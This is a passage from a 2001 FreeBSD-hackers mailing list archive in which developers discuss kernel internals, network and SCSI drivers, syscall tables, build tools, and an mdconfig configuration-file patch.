do you need ATA or SCSI to boot? which network drivers do you need?) The easiest way to create MIN is to take GENERIC and take out absolutely everything that you don't have or need. I think my best effort so far is on a little 486 gateway box for my home lan which weights in at 1.7MB. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:12:29 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id 8590137B65D for ; Thu, 1 Feb 2001 13:12:10 -0800 (PST) Received: (qmail 80587 invoked by uid 1001); 2 Feb 2001 07:12:06 +1000 X-Posted-By: GJB-Post 2.11 18-Jan-2001 X-Operating-System: FreeBSD 4.1-RELEASE i386 X-URL: http://www.gbch.net/gjb/ X-Image-URL: http://www.gbch.net/gjb/img/gjb-auug048.gif X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 X-PGP-Public-Key: http://www.gbch.net/gjb/gjb-pgpkey.asc Message-Id: Date: Fri, 02 Feb 2001 07:12:06 +1000 From: Greg Black To: GLOBALLINK2001@aol.com Cc: freebsd-hackers@freebsd.org Subject: Re: regular coding? References: <50.10d017e0.27aa3228@aol.com> In-reply-to: <50.10d017e0.27aa3228@aol.com> of Wed, 31 Jan 2001 22:29:44 EST Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > does anyone know a good programming > (C) mailing list I could subscribe too? Not as such. However, there are two usenet groups that cover C: comp.lang.c and comp.lang.c.moderated. If you have no news access, the c.l.c.m moderator has said he could probably set up a mail<->news gateway for that group. Let me know if you need this. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:17:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from guild.plethora.net (guild.plethora.net [205.166.146.8]) by hub.freebsd.org (Postfix) with ESMTP id 94F0837B491 for ; Thu, 1 Feb 2001 13:17:23 -0800 (PST) Received: from guild.plethora.net (seebs@localhost.plethora.net [127.0.0.1]) by guild.plethora.net (8.10.1/8.10.1) with ESMTP id f11LHMn07299 for ; Thu, 1 Feb 2001 15:17:22 -0600 (CST) Message-Id: <200102012117.f11LHMn07299@guild.plethora.net> From: seebs@plethora.net (Peter Seebach) Reply-To: seebs@plethora.net (Peter Seebach) To: freebsd-hackers@freebsd.org Subject: Re: regular coding? In-reply-to: Your message of "Fri, 02 Feb 2001 07:12:06 +1000." Date: Thu, 01 Feb 2001 15:17:22 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message , Greg Black writes: >> does anyone know a good programming >> (C) mailing list I could subscribe too? >Not as such. However, there are two usenet groups that cover C: >comp.lang.c and comp.lang.c.moderated. If you have no news >access, the c.l.c.m moderator has said he could probably set up >a mail<->news gateway for that group. Let me know if you need >this. There's been occasional interest, but never enough to justify me actually *doing* anything. ;) -s To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:20: 0 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id C542537B491 for ; Thu, 1 Feb 2001 13:19:40 -0800 (PST) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.1/8.9.3) with ESMTP id f11LDf356681; Thu, 1 Feb 2001 13:13:41 -0800 (PST) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Thu, 01 Feb 2001 13:19:24 -0800 (PST) From: John Baldwin To: Doug White Subject: Re: Suboptimal mmap of devices on i86 Cc: freebsd-hackers@FreeBSD.org, Drew Eckhardt , Matt Dillon Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 01-Feb-01 Doug White wrote: > On Mon, 29 Jan 2001, John Baldwin wrote: > >> Then only rename it in 4.x We can do an API change for 5.0. We'll be >> renaming syscall2() back to syscall() in 5.0 for example. We don't >> want to end up with syscall47() someday in FreeBSD 67.2. :-P > > And what happens to apps using the previous syscall(2) interface? They > die horribly? That's not acceptable. Huh? syscall2() is an internal kernel function. The only thing that might call it is a kernel module, and we won't support 4.x KLD's on 5.0. Period. It was renamed to syscall2() to cause old KLD's to fail to load with a symbol lookup problem back when teh MPSAFE flag was first added to x86 syscalls. The only thing that changing it back to syscall() in -current does is cause any 6 month old 5.0-current KLD's that happen to call syscall() to call it wrong. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:26:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 9699C37B491 for ; Thu, 1 Feb 2001 13:26:06 -0800 (PST) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id QAA91168; Thu, 1 Feb 2001 16:26:01 -0500 (EST) Date: Thu, 1 Feb 2001 16:26:01 -0500 (EST) From: "Matthew N. Dodd" To: Nick Meverden Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: NEED HELP: fiber card In-Reply-To: <01020106212600.03679@meverden.np.k12.mn.us> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Feb 2001, Nick Meverden wrote: > has anyone had any success getting the FDDILINK 3com 3c805 pci fiber > card to work with freebsd 4.2R or know anyone that could help develop > a driver for this ? Please contact me If this isn't a DEFPA in disguise and adding the PCI IDs to the fpa driver doesn't work then you're pretty much out of luck. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 13:33:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id 1FB0B37B67D for ; Thu, 1 Feb 2001 13:32:56 -0800 (PST) Received: from dbsys.etinc.com (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with ESMTP id QAA07322; Thu, 1 Feb 2001 16:35:34 GMT (envelope-from dennis@etinc.com) Message-Id: <5.0.0.25.0.20010201163931.02fa53a0@mail.etinc.com> X-Sender: dennis@mail.etinc.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 01 Feb 2001 16:41:26 -0500 To: Reddy Crashalott , reel@idemnia.ath.cx From: Dennis Subject: Re: watchdog bugging us. Cc: hackers@FreeBSD.ORG In-Reply-To: <200102010118.f111I8e38690@crotchety.newsbastards.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 08:18 PM 01/31/2001, Reddy Crashalott wrote: >[disclaimer: this is an invalid sender and return address; replies > should be posted to the list or perhaps better not posted at all, > finally i am rid of that cursed e-mail reachability, free at last] > > >:: When i do tail -f /var/log/messages, it gives me this. >:: >:: Jan 31 15:03:49 beta /kernel: xl0: watchdog timeout >:: Jan 31 15:04:24 beta last message repeated 6 times > >I've seen this on questionable HP NetSwerver hardware, that you may >be able to solve by either trying your xl ethernet card in a different >PCI slot, or in your BIOS doing something about the IRQs. > >By doing the latter, I got things to work without problems, while >otherwise things were unacceptably bad or stopped working totally >after a short time, depending on which of several flavours of NICs >I was using. Its really questionable drivers...BP's if_dc driver will timeout by design if you dont patch the driver. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 14:14: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by hub.freebsd.org (Postfix) with ESMTP id 6D3CD37B65D for ; Thu, 1 Feb 2001 14:13:51 -0800 (PST) Received: from fwd03.sul.t-online.com by mailout02.sul.t-online.com with smtp id 14ORxF-0001EZ-03; Thu, 01 Feb 2001 23:11:49 +0100 Received: from frolic.no-support.loc (520094253176-0001@[217.0.156.210]) by fmrl03.sul.t-online.com with esmtp id 14ORwz-2415f6C; Thu, 1 Feb 2001 23:11:33 +0100 Received: (from bjoern@localhost) by frolic.no-support.loc (8.11.1/8.9.3) id f11M0CB02910; Thu, 1 Feb 2001 23:00:12 +0100 (CET) (envelope-from bjoern) From: Bjoern Fischer Date: Thu, 1 Feb 2001 23:00:12 +0100 To: Mario Sergio Fujikawa Ferreira Cc: freebsd-hackers@FreeBSD.ORG, poool@terra.com.br, pablos@linf.unb.br, infax@bol.com.br Subject: Re: a mtools wrapper (slight better control) Message-ID: <20010201230012.B2788@frolic.no-support.loc> References: <20010201142813.A659@Fedaykin.here> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010201142813.A659@Fedaykin.here>; from lioux@uol.com.br on Thu, Feb 01, 2001 at 02:28:13PM -0200 X-Sender: 520094253176-0001@t-dialin.net Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I need to enable a group of workstations running XDM > accesses to local disk floppies with FAT16/32 FS(es). Therefore, I > considered ports/emulators/mtools. > All users will have access to the floppy drives. > All workstations will permit remote shell emulation > (sshd,...). Thus, there can be a local and several remote users > on all workstations. > > HOWEVER, I would like to only permit the local > logged user accesses to the floppy through mtools. I need this > because this lab is considered hostile environment and remote > users might try to be fun destroying other ppls floppy files. > Before, I get any complains I considered doing something. Hmm, why not simply giving /dev/fd0 to the user (chown) as it is being done with /dev/console in /lib/X11/xdm/GiveConsole, and taking it away in /lib/X11/xdm/TakeConsole? Bjoern -- -----BEGIN GEEK CODE BLOCK----- GCS d--(+) s++: a- C+++(-) UB++++OSI++++$ P+++(-) L---(++) !E W- N+ o>+ K- !w !O !M !V PS++ PE- PGP++ t+++ !5 X++ tv- b+++ D++ G e+ h-- y+ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 15:50: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from vexpert.dbai.tuwien.ac.at (vexpert.dbai.tuwien.ac.at [128.130.111.12]) by hub.freebsd.org (Postfix) with ESMTP id 0688937B491 for ; Thu, 1 Feb 2001 15:49:50 -0800 (PST) Received: from deneb.dbai.tuwien.ac.at (deneb [128.130.111.2]) by vexpert.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f11Nnje18418 for ; Fri, 2 Feb 2001 00:49:48 +0100 (MET) Received: from localhost (pfeifer@localhost) by deneb.dbai.tuwien.ac.at (8.11.1/8.11.1) with ESMTP id f11Nnik79073 for ; Fri, 2 Feb 2001 00:49:45 +0100 (CET) (envelope-from pfeifer@dbai.tuwien.ac.at) X-Authentication-Warning: deneb.dbai.tuwien.ac.at: pfeifer owned process doing -bs Date: Fri, 2 Feb 2001 00:49:44 +0100 (CET) From: Gerald Pfeifer To: Subject: Re: bootstrap fails with FreeBSD make (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG FYI, in case someone is interested. Gerald ---------- Forwarded message ---------- From: Marc Espie Cc: gcc@gcc.gnu.org Date: Sun, 28 Jan 2001 03:08:33 +0100 In article <20010127111759.A13827@verona.globe-tec.de> you write: >Hi, > >I just tried to bootstrap under FreeBSD 4.2. The build stoped after >creating libz with the following message: >Bootstrapping the compiler >+make CC="gcc" libdir=/usr/local/gcc-CVS/lib LANGUAGES="c" >+make: not found I got '+' to work on OpenBSD make in single job mode, and it's at least recognized in -j mode (the code in job.c is bad enough that I got a headache trying to see how to implement that). FreeBSD and NetBSD might be interested in looking at job.c rev 1.34 and compat.c rev 1.32 (in OpenBSD). If someone manages to handle the -j part, drop me a note, I'm game. I believe that '+' is generally a good idea. Seeing that quite a few make don't support it (it is not even POSIX), an autoconf/automake mechanism to handle it might be a good idea... In fact, telling autoconf to substitute for + in a Makefile if the chosen make does not handle + is probably the way to go. A test makefile such as: a: +: is probably largely enough to check the feature... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 16:13: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id C314037B503 for ; Thu, 1 Feb 2001 16:12:51 -0800 (PST) Received: from [195.11.243.26] (helo=Debug) by post.mail.nl.demon.net with smtp (Exim 3.14 #4) id 14OTqM-0002Mj-00; Fri, 02 Feb 2001 00:12:50 +0000 To: "Matthew N. Dodd" , Nick Meverden , freebsd-hackers@FreeBSD.ORG From: wkb@freebie.demon.nl Subject: Re: NEED HELP: fiber card Date: Fri, 2 Feb 2001 00:12:50 GMT X-Mailer: www.webmail.nl.demon.net X-Sender: postmaster@wkb@freebie.demon.nl X-Originating-IP: 194.201.204.34 Message-Id: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm afraid a DEFPA is really != a 3COM. DEFPA is a DEC design, which I think uses DEC-specific chips My DEFPAs are at home so I cannot easily check right now. W/ > On Thu, 1 Feb 2001, Nick Meverden wrote: > > has anyone had any success getting the FDDILINK 3com 3c805 pci fiber > > card to work with freebsd 4.2R or know anyone that could help develop > > a driver for this ? Please contact me > > If this isn't a DEFPA in disguise and adding the PCI IDs to the fpa driver > doesn't work then you're pretty much out of luck. > > -- > | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | > | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | > | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 16:35:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from harmony.village.org (rover.village.org [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 2D5D037B65D for ; Thu, 1 Feb 2001 16:35:15 -0800 (PST) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f120Z7934612; Thu, 1 Feb 2001 17:35:08 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200102020035.f120Z7934612@harmony.village.org> To: "Koster, K.J." Subject: Re: Realtek card support Cc: "'so@server.i-clue.de'" , freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 31 Jan 2001 16:40:01 +0100." <59063B5B4D98D311BC0D0001FA7E4522026D7B95@l04.research.kpn.com> References: <59063B5B4D98D311BC0D0001FA7E4522026D7B95@l04.research.kpn.com> Date: Thu, 01 Feb 2001 17:35:07 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We've had horrible luck with the realtek 8139 with a few of our 10MBps hubs. We've had OK luck with cross over cables, but not good enough to run with that configuration in our deployed systems. We've also found that this is due to autonegotiation is the cause of this and that if we explicitly choose 10BaseT it works well enough to deploy in our systems. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 16:37:22 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from harmony.village.org (rover.village.org [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 5E73137B4EC for ; Thu, 1 Feb 2001 16:37:05 -0800 (PST) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f120as934631; Thu, 1 Feb 2001 17:36:54 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200102020036.f120as934631@harmony.village.org> To: Peter Pentchev Subject: Re: EBCDIC -> ASCII Cc: Garance A Drosihn , Luigi Rizzo , jgrosch@mooseriver.com, hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 31 Jan 2001 21:44:03 +0200." <20010131214403.G17598@ringworld.oblivion.bg> References: <20010131214403.G17598@ringworld.oblivion.bg> <200101311642.f0VGgXv06307@iguana.aciri.org> Date: Thu, 01 Feb 2001 17:36:54 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20010131214403.G17598@ringworld.oblivion.bg> Peter Pentchev writes: : Actually, dd(1) has four different EBCDIC encodings and two : different ASCII encodings. People might want to remember : that different BSD utilities might indeed have their roots : in EBCDIC times :) Even the name (dd) comes from IBM's control language (JSYS?). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 16:40:17 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from harmony.village.org (rover.village.org [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 468DC37B67D for ; Thu, 1 Feb 2001 16:39:57 -0800 (PST) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f120dl934662; Thu, 1 Feb 2001 17:39:47 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200102020039.f120dl934662@harmony.village.org> To: Julian Elischer Subject: Re: CVSup7.FreeBSD.org is back in service Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 31 Jan 2001 23:46:34 PST." <3A79145A.39CF9671@elischer.org> References: <3A79145A.39CF9671@elischer.org> <200101312315.f0VNFwR04246@vashon.polstra.com> Date: Thu, 01 Feb 2001 17:39:47 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A79145A.39CF9671@elischer.org> Julian Elischer writes: : I have the folowing suggestion for CVSup.. : the ability to specify several servers. : Cvsup can have a quick exchange with each to inquire about load and check the : latency and bandwidth : and the last time updated, and choose the best.... : Since you control both ends this is possible.. I have a poor man's while loop do this for me. I list them in order of historical load/latency. It works out well enough in practice. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 16:49:24 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 2CD5C37B65D; Thu, 1 Feb 2001 16:49:07 -0800 (PST) Received: (from jmz@localhost) by freefall.freebsd.org (8.11.1/8.11.1) id f120n6M50078; Thu, 1 Feb 2001 16:49:06 -0800 (PST) (envelope-from jmz@FreeBSD.org) Date: Thu, 1 Feb 2001 16:49:06 -0800 (PST) Message-Id: <200102020049.f120n6M50078@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: jmz set sender to jmz@FreeBSD.org using -f From: Jean-Marc Zucconi To: Warner Losh Cc: hackers@FreeBSD.org Subject: Re: EBCDIC -> ASCII In-Reply-To: <200102020036.f120as934631@harmony.village.org> References: <20010131214403.G17598@ringworld.oblivion.bg> <200101311642.f0VGgXv06307@iguana.aciri.org> <200102020036.f120as934631@harmony.village.org> X-Mailer: Emacs 20.7.1 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> Warner Losh writes: > Even the name (dd) comes from IBM's control language (JSYS?). Huh! I never realized that. //GO.SYSIN DD * ... // Where are my punch cards? :-) Jean-Marc -- Jean-Marc Zucconi -- PGP Key: finger jmz@FreeBSD.org [KeyID: 400B38E9] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 17:20:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtppop2pub.verizon.net (smtppop2pub.gte.net [206.46.170.21]) by hub.freebsd.org (Postfix) with ESMTP id 6691337B491 for ; Thu, 1 Feb 2001 17:20:32 -0800 (PST) Received: from chocolate ([63.171.197.130]) by smtppop2pub.verizon.net with SMTP for ; id TAA93767242 Thu, 1 Feb 2001 19:20:20 -0600 (CST) Message-ID: <005101c08cb5$700949c0$0a01640a@netscaler.com> Reply-To: "Soumen Biswas" From: "Soumen Biswas" To: Subject: __syscall Date: Thu, 1 Feb 2001 17:14:04 -0800 Organization: Netscaler Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, What exactly is the difference between syscall & __syscall ? And in in kern/init_sysent.c struct sysent sysent[] = { /* ..... */ { 3, accept}, /*.......*/ } what does 3 denote ? I believe it's the total size of all the arguments in 32 bit words soumen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 18:47: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 7E49C37B491 for ; Thu, 1 Feb 2001 18:46:44 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f122kgW20364; Thu, 1 Feb 2001 18:46:42 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102020246.f122kgW20364@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: "Soumen Biswas" Cc: hackers@FreeBSD.ORG Subject: Re: __syscall In-Reply-To: <005101c08cb5$700949c0$0a01640a@netscaler.com> Date: Thu, 01 Feb 2001 18:46:42 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Soumen Biswas" wrote: > Hello, > > What exactly is the difference between syscall & __syscall ? syscall() and __syscall() are pseudo-syscalls. They take arguments and evaluate them as though they were real syscalls. You can see the code in sys/i386/i386/trap.c. __syscall() has 64 bit aligned arguments. > And in > > in kern/init_sysent.c > > struct sysent sysent[] = { > /* ..... */ > { 3, accept}, > /*.......*/ > } > > what does 3 denote ? > > I believe it's the total size of all the arguments in 32 bit words Correct. In sizeof(register_t) units. For things that have a 64 bit argument (eg: lseek()), the off_t counts as two arguments. > soumen Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 18:48:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id 5991037B491 for ; Thu, 1 Feb 2001 18:48:27 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f122mNW20382; Thu, 1 Feb 2001 18:48:23 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102020248.f122mNW20382@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Zhiui Zhang Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Obtain a list of active vnodes In-Reply-To: Date: Thu, 01 Feb 2001 18:48:23 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Zhiui Zhang wrote: > > I tried to obtain a list of vnodes in the system. The command pstat -v no > longer works. Is there any way to achieve this or hack the code a little > bit to achieve this? Thanks. pstat -v used to call a sysctl to extract the list. THe problem was that it could be so big that it could cause a kernel lockup while the process had all the locked memory. pstat -v should probably be rewritten to use kvm_read/write() if the sysctl isn't going to be fixed. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 18:48:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from femail2.rdc1.on.home.com (femail2.rdc1.on.home.com [24.2.9.89]) by hub.freebsd.org (Postfix) with ESMTP id BEA8437B4EC for ; Thu, 1 Feb 2001 18:48:27 -0800 (PST) Received: from localhost.on.rogers.wave.ca ([24.112.85.94]) by femail2.rdc1.on.home.com (InterMail vM.4.01.03.00 201-229-121) with ESMTP id <20010202024821.DMRE2929.femail2.rdc1.on.home.com@localhost.on.rogers.wave.ca> for ; Thu, 1 Feb 2001 18:48:21 -0800 Content-Length: 1274 Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 01 Feb 2001 21:48:27 -0500 (EST) Reply-To: gbuchana@home.com From: Gardner Buchanan To: freebsd-hackers@freebsd.org Subject: Config doesn't understand wired SCSI devices any more Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I cvsupped 4.2-STABLE last night and did a buildworld. This part was okay. Now I'm trying to build a kernel and config is complaining about the config lines that wire down my SCSI devices. Config says this: config: line 83: sym 0 not defined My Kernel config looks like this: 72 device ncr # NCR/Symbios Logic 73 device sym # NCR/Symbios Logic (newer chipsets) 74 75 #device adv0 at isa? 76 #device adw 77 #device bt0 at isa? 78 #device aha0 at isa? 79 #device aic0 at isa? 80 81 # Wired down SCSI unit numbers. 82 # 83 device scbus0 at sym0 84 device da0 at scbus0 target 3 unit 0 85 device cd0 at scbus0 target 3 unit 1 86 device da1 at scbus0 target 6 87 device da2 at scbus0 target 9 If I comment these lines out, the kernel seems to build allright. I noticed that the wiring down example in LINT is commented out, so any quick tests would have missed this. ============================================================ Gardner Buchanan Ottawa, ON FreeBSD: Where you want to go. Today. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 18:55:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bazooka.unixfreak.org (bazooka.unixfreak.org [63.198.170.138]) by hub.freebsd.org (Postfix) with ESMTP id 3DA1A37B4EC; Thu, 1 Feb 2001 18:55:02 -0800 (PST) Received: by bazooka.unixfreak.org (Postfix, from userid 1000) id D4BB73E02; Thu, 1 Feb 2001 18:55:01 -0800 (PST) Received: from unixfreak.org (localhost [127.0.0.1]) by bazooka.unixfreak.org (Postfix) with ESMTP id CDB4F3C10B; Thu, 1 Feb 2001 18:55:01 -0800 (PST) To: Poul-Henning Kamp Cc: mi@aldan.algebra.com, jhb@FreeBSD.org, hackers@FreeBSD.org Subject: Re: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC) In-Reply-To: Message from Poul-Henning Kamp of "Wed, 31 Jan 2001 09:07:29 +0100." <36096.980928449@critter> Date: Thu, 01 Feb 2001 18:54:56 -0800 From: Dima Dorfman Message-Id: <20010202025501.D4BB73E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [cvs-(all|commiters) -> -hackers] > >> If anybody writes a patch to mdconfig to DTRT based on some > >> less bogus /etc/fstab entries, I'll happily review and commit it. > > > >Does this sort of functionality really belong in mdconfig? > > Not by definition, and I'm not religious about it. Okay, any objections then to jhb's configuration file idea? The idea is that mdconfig parses a file (md.conf or something) and sets up some memory disks accordingly, including optional disklabel/newfs stuff. Later, a simple 'ffs'-type fstab entry will mount it wherever the user wants. This may be a little complicated for the simple /tmp case, but I can think of some environments where this would be useful. vnconfig also supports a similar config file option, so I think it's fitting that mdconfig should, too. I've come up with a preliminary patch to teach mdconfig(8) to parse a config file. It's a little early to be of practical use (and it lacks the disklabel/newfs option), but it's a start. It's a little long because I made some of the code in the switch(ch) block into functions to avoid having two blocks doing the same thing, so I've decided not to attach it not to bother the uninterested parties. If you could take a minute or two and comment on it I'd appreciate it. You can find it at 